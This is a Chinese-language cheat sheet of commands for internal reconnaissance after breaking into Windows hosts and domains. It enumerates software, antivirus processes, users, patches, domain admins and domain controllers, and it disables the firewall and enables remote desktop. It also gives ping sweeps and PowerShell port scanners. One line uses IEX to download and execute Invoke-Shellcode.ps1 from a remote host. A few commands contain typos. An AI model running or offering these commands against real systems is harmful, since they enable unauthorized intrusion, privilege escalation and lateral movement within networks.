1、本机收集
1.1 系统及软件信息
wmic product get name,version
查看安装的软件和版本信息
1.2 服务信息
wmic service list brief
查询本机的服务信息
1.3 进程信息
tasklist 查看当前进程列表和进程用户
wmic process list brief 查看进程信息
1.4 杀软识别
360sd.exe
360tray.exe
ZhuDongFangYu.exe
SafeDogUpdateCenter.exe
Mcfee McShield.exe
AVP.EXE(卡巴斯基)
avguard.exe(小红伞)
bdagent.exe(bitDefender)
1.5 启动程序信息
wmic startup get command,caption
1.6 计时任务
schtasks /query /fo LIST /v
1.7 用户列表
net user 查看本机用户列表
net localgroup administrators 获取本地管理员(通常包含域用户)信息
query user || qwinsta 查询当前在线用户
1.8 端口信息
netstat -ano 可以查看TCP UDP等端口的使用情况
1.9 补丁信息
systeminfo 查看系统信息
wmic qfe get Caption,Description,HotFixID,InstalledOn 查看补丁信息
1.10 本机共享列表
net share
查询路由表
route print
arp -a
1.11 防火墙信息
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off (win2003后的系统) 关闭防火墙
1.12 代理配置
reg query "HKEY_CURRENT)USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
1.13 开启远程连接端口
wmic /namespace:\\root\cimv2\terminalservices path
win32_terminalservicesetting where (__class !="") call setallowtsconnections 1
如下:bat脚本代码
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> xxx.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> xxx.html
wmic USERACCOUNT list full /format:"%var%" >> xxx.html
wmic group list full /format:"%var%" >> xxx.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> xxx.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> xxx.html
wmic netuse list full /format:"%var%" >> xxx.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> xxx.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> xxx.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> xxx.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> xxx.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> xxx.html```
复制为.bat文件,跑完后查看xxx.html
2、查看权限
2.1
whoami
---查看权限
2.2
whoami /all
---查看域SID
2.3
net user administrator /domain
---administrator详细信息
3、是否存在域环境
3.1
ipconfig /all
判断是否存在域
网段划分,dns服务器ip等信息
3.2
systeminfo
查看当前所在的域和域控服务器的计算机名
可以通过ping 域控服务器的主机名来获取域控ip
查看补丁情况
3.3
net group "domain admins" /domain
通过此命令查询到当前域管理员为"Administrator"
3.4
net user /domain
通过此命令获取当前域内存在的用户名
3.5
net group "domain computers" /domain
通过此选项查看当前加入域内的主机名
3.6
net time /domain
查看域时间及域服务器名
4、主机探活
4.1
ICMP协议
for /L %I in (1,1,254) DO @ping -w 1 -n 192.168.1.%I | findstr "TTL="
4.2
利用nbtscan、arp-scan
5、端口探测
5.1 telnet
5.2 msf扫描
auxiliary/scanner/portscan/ack ACK防火墙扫描
auxiliary/scanner/portscan/ftpbounce FTP跳端口扫描
auxiliary/scanner/portscan/syn SYN端口扫描
auxiliary/scanner/portscan/tcp TCP端口扫描
auxiliary/scanner/portscan/xmas TCP"XMas"端口扫描
使用auxiliary/scanner/portscan/tcp模块
5.3 nishang
https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1
-StartAddress 扫描范围开始地址
-EndAddress 扫描范围结束地址
-ScanPort 进行端口扫描
-Port 指定端口
-TimeOut 设置超时时间
-ResolveHost 解析主机名
扫描存活主机及端口并解析主机名
5,4 nmap
6、域信息
6.1
net group "domain computers" /domain
探测域内主机
6.2
ping存在的主机名,获取域账号的IP地址
6.3
批量存活,端口探测。
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
7、找域控
7.1
nltest /DCLIST:域名
查找域列表
7.2
net group"Domain Controllers" /domain
查找域控制器
7.3
netdom query pdc
查找主域控制器
8、获取域用户和域管理信息
8.1 查看域内所有用户
net user /domain
wmic useraccount get /all
dsquery user
net localgroup administrators /domain
8.2 查询域管理员用户组
net group"domain admins" /domain
net group"Enterprise Admains" /domain
9、查找域管进程
本机检查
查找域控制器的域用户会话
扫描远程系统上运行的任务
查看补丁信息:wmic qfe *ms14-068,可以用来进行提权,kb3011780
查看操作系统类型:wmic os
10、psl脚本收集信息
10.1
远程下载IEX (New-Object Net.WebClient).DownloadString("http://IP Adress/CodeExecution/Invoke--Shellcode.ps1")
10.2
更改执行策略Set-ExecutionPolicy RemoteSigned
10.3
端口扫描
10.3.1
单个IP扫描
1..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect("127.0.0.1",$_)) "Port $_ is open!"} 2>$null
10.3.2
IP段中单端口扫描(4.0版本中引用)
foreach ($ip in 1..254) {Test-NetConnection -Port 445 -InformationLevel "Detailed" 192.168.1.$ip}
10.3.3
IP段多端口扫描,
1..254 | % { $a = $_; 1..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.1.$a",$_)) "Port $_ is open!"} 2>$null}
针对某IP段 & 多个端口的扫描器v2,对指定端口进行扫描
1..254 | % { $a = $_; write-host "------"; write-host "192.168.1.$a"; 22,53,80,445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.1.$a",$_)) "Port $_ is open!"} 2>$null}
补充:bloodhound安装
kali:执行如下命令
apt-get update
apt-get dist-upgrade
apt-get install bloodhound
终端输入neo4j console启动,访问地址:http://localhost:7474
默认账密neo4j:neo4j
再开新终端输入bloodhound